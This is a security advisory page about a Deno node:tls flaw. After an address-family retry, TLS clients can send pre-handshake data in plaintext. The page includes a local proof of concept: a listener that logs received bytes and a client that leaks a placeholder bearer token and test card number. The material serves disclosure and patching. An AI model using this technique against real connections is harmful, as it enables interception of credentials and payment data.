Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ JLSEC-2026-654 — deno-jll

⚪ Unknown ✅ No Known Exploit OSV
N/A
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Deno's TLS retry copies stale upgrade hook, risking plaintext traffic

Summary

A flaw in Deno's Node.js tls compatibility layer could cause a TLS client to transmit application data in plaintext after a connection retry. When autoSelectFamily was enabled and the first address-family attempt failed, the socket reinitialization path reused a stale TLS upgrade hook that was bound to the original, failed handle.

As a result, the replacement TCP connection was never upgraded to TLS, and any data the application wrote before the secureConnect event travelled over the network unencrypted.

A network attacker positioned to cause the initial connection attempt to fail (for example, by dropping IPv6 traffic on a dual-stack host) could deterministically trigger the fallback path and observe or tamper with traffic that the application believed was TLS-protected.

Affected APIs: Applications using Deno's node:tls or node:https surface with autoSelectFamily enabled (the default) that wrote to the socket before the secureConnect event.

Proof of concept

attacker.mjs (captures whatever the client sends)

```ts

import net from "node:net";

const server = net.createServer((socket) => {

console.log("[attacker] client connected from", socket.remoteAddress);

socket.on("data", (chunk) => {

// If TLS were working, this would be an opaque ClientHello.

// If the bug fires, we see the application payload in cleartext.

console.log("[attacker] received", chunk.length, "bytes:");

console.log(chunk.toString("utf8"));

});

});

server.listen(4444, "127.0.0.1", () => {

console.log("[attacker] listening on 127.0.0.1:4444");

});

```

victim.mjs (a normal-looking TLS client)

```ts

import tls from "node:tls";

const socket = tls.connect({

host: "api.example.invalid",

port: 4444,

autoSelectFamily: true, // Node-compat default

// First address is a black hole (nothing on [::1]:4444),

// so autoSelectFamily falls back to the second address.

// In a real attack, the on-path attacker arranges this via

// routing, DNS, or by dropping the first SYN.

lookup: (_host, _opts, cb) => {

cb(null, [

{ address: "::1", family: 6 }, // fails -> retry

{ address: "127.0.0.1", family: 4 }, // attacker

]);

},

rejectUnauthorized: false,

});

// Application writes BEFORE secureConnect — common pattern in

// Node clients that pipe a request body or send a greeting.

socket.write("POST /v1/charge HTTP/1.1\r\n");

socket.write("Authorization: Bearer sk_live_SECRET_TOKEN\r\n");

socket.write("Content-Type: application/json\r\n\r\n");

socket.write(JSON.stringify({ amount: 100, card: "4242424242424242" }));

socket.on("secureConnect", () => console.log("[victim] secureConnect"));

socket.on("error", (e) => console.log("[victim] error:", e.message));

```

In terminal 1 deno run --allow-net attacker.mjs

In terminal 2 deno run --allow-net victim.mjs

Expected vs. observed

On a patched Deno (≥ 2.7.8), the attacker terminal sees an opaque TLS ClientHello (a binary blob starting with 0x16 0x03 0x01 …), and the victim eventually errors out because the attacker isn't speaking TLS.

On a vulnerable Deno (≥ 2.0.0, < 2.7.8), the attacker terminal prints:

```

[attacker] received 41 bytes:

POST /v1/charge HTTP/1.1

Authorization: Bearer sk_live_SECRET_TOKEN

...

```

The bearer token, the request body, and the card number all appear in plaintext, even though the application used

tls.connect.

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability none.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: None — an unauthenticated stranger can try it.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: High — total loss, or loss the attacker controls.
  • Integrity impact: High — total loss, or loss the attacker controls.
  • Availability impact: None.

Affected software

JLSEC-2026-654 is recorded against 1 package.

  • deno-jll

Timeline and source

Published on 7 July 2026 and last revised on 25 July 2026. No public exploit is currently recorded for this entry. Record sourced from OSV.

References

github.com (Web)
github.com (Web)

Other advisories for this package

deno-jll has other advisories on record. If you are patching this one, these are worth checking on the same host:

Details

Severity Unknown
CVSS Score N/A
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
CWE N/A
Public Exploit ✅ No
Source OSV
Published 2026-07-07
Updated 2026-08-20
Modified 2026-07-25
Fix URL N/A

Affected Packages

Software From version Fixed in
deno-jll — —

Similar Threats

Free Vulnerability Check

Is your site affected by JLSEC-2026-654?

BotEraser helps you identify potentially vulnerable plugins and themes by checking your installation against JLSEC-2026-654 and other known CVE records.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesJlsecJlsec 2026
✓